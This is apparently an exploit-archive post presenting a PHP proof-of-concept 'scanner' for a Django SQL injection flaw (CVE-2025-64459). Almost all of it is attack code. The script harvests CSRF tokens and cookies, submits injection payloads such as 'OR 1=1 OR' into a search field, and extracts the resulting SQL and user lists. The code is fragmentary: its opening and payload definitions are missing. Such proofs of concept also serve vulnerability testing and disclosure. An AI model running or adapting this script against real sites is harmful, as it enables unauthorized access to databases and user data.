=============================================================================================================================================
| # Title : Django 5.1.13 SQL Injection Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.djangoproject.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212430/ & CVE-2025-64459
[+] Summary : This PHP Proof‑of‑Concept is designed to detect and verify SQL Injection vulnerability in Django applications affected by CVE‑2025‑64459.The script performs the following actions:
Sends both GET and POST requests to the target endpoint.
Extracts CSRF tokens and cookies automatically.
Injects multiple test payloads to compare against a safe baseline.
Collects and parses the resulting SQL statements and returned user data.
Compares baseline vs exploit responses to identify SQL injection behavior.
Produces a concise analysis report indicating whether the endpoint is vulnerable.
[+] POC :
$url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
]);
$r = curl_exec($c);
curl_close($c);
return $r;
}
/*---------------------------------------------------------
HTTP POST
---------------------------------------------------------*/
function http_post($url, $data, $cookies) {
$c = curl_init();
curl_setopt_array($c, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIE => $cookies,
]);
$r = curl_exec($c);
curl_close($c);
return $r;
}
/*---------------------------------------------------------
Extract SQL + User List
---------------------------------------------------------*/
function extract_sql_and_users($html) {
$sql = null;
$users = [];
if (preg_match("/
(.*?)<\/pre>/si", $html, $m))
$sql = trim($m[1]);
preg_match_all("/(.*?)<\/li>/si", $html, $m2);
foreach ($m2[1] as $u) {
$u = trim(strip_tags($u));
if ($u !== "") $users[] = $u;
}
return [$sql, $users];
}
/*---------------------------------------------------------
Send CSRF Payload
---------------------------------------------------------*/
function send_payload($url, $payload, $verbose=false) {
if ($verbose)
echo "[*] Fetching CSRF...\n";
// GET
$resp = http_get($url);
if (!preg_match('/name="csrfmiddlewaretoken" value="([^"]+)/', $resp, $m))
die("[!] CSRF Not Found\n");
$csrf = $m[1];
if ($verbose)
echo "[i] CSRF token: " . substr($csrf, 0, 10) . "...\n";
preg_match_all('/Set-Cookie: ([^;]+)/', $resp, $cm);
$cookies = implode("; ", $cm[1]);
// POST
$post = [
"csrfmiddlewaretoken" => $csrf,
"search" => $payload
];
$resp2 = http_post($url, $post, $cookies);
return extract_sql_and_users($resp2);
}
/*---------------------------------------------------------
Analysis
---------------------------------------------------------*/
function analyze($bSql, $bUsers, $eSql, $eUsers) {
echo "\n--- Analysis ---\n";
if ($bSql !== $eSql || $bUsers !== $eUsers) {
echo "[!] Possible SQL Injection Detected!\n";
} else {
echo "[-] No injection detected.\n";
}
}
/*---------------------------------------------------------
Baseline Test
---------------------------------------------------------*/
function run_baseline($url, $baseline, $verbose) {
echo "[*] Running baseline...\n";
return send_payload($url, $baseline, $verbose);
}
/*---------------------------------------------------------
Single Test
---------------------------------------------------------*/
function run_exploit($url, $payload, $baseline, $verbose) {
list($bSql, $bUsers) = $baseline;
echo "\n[*] Payload: {$payload}\n";
list($eSql, $eUsers) = send_payload($url, $payload, $verbose);
echo "Baseline SQL: " . ($bSql ?? "None") . "\n";
echo "Exploit SQL: " . ($eSql ?? "None") . "\n";
analyze($bSql, $bUsers, $eSql, $eUsers);
}
/*---------------------------------------------------------
Multi Payload Mode
---------------------------------------------------------*/
function run_multi($url, $baseline, $payloads, $verbose) {
foreach ($payloads as $p)
run_exploit($url, $p, $baseline, $verbose);
}
/*---------------------------------------------------------
Full Check Mode
---------------------------------------------------------*/
function run_check($url, $baseline, $verbose) {
global $DEFAULT_PAYLOADS;
list($bSql, $bUsers) = $baseline;
$vuln = false;
foreach ($DEFAULT_PAYLOADS as $p) {
list($eSql, $eUsers) = send_payload($url, $p, $verbose);
if ($bSql !== $eSql || $bUsers !== $eUsers) {
echo "[+] Payload {$p} => SQL Injection Likely!\n";
$vuln = true;
}
}
echo $vuln ? "\n[+] Target VULNERABLE\n" : "\n[-] Target SAFE\n";
}
/*---------------------------------------------------------
MAIN
---------------------------------------------------------*/
if ($argc < 3) {
echo "Usage:
php scanner.php baseline http://127.0.0.1:8000/
php scanner.php exploit http://target/ \"OR 1=1 OR\"
php scanner.php multi http://target/
php scanner.php check http://target/
";
exit;
}
$mode = strtolower($argv[1]);
$url = rtrim($argv[2], "/") . "/";
$verbose = true;
$baseline = run_baseline($url, DEFAULT_BASELINE, $verbose);
switch ($mode) {
case "baseline":
break;
case "exploit":
run_exploit($url, $argv[3], $baseline, $verbose);
break;
case "multi":
global $DEFAULT_PAYLOADS;
run_multi($url, $baseline, $DEFAULT_PAYLOADS, $verbose);
break;
case "check":
run_check($url, $baseline, $verbose);
break;
default:
echo "Mode Error!\n";
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================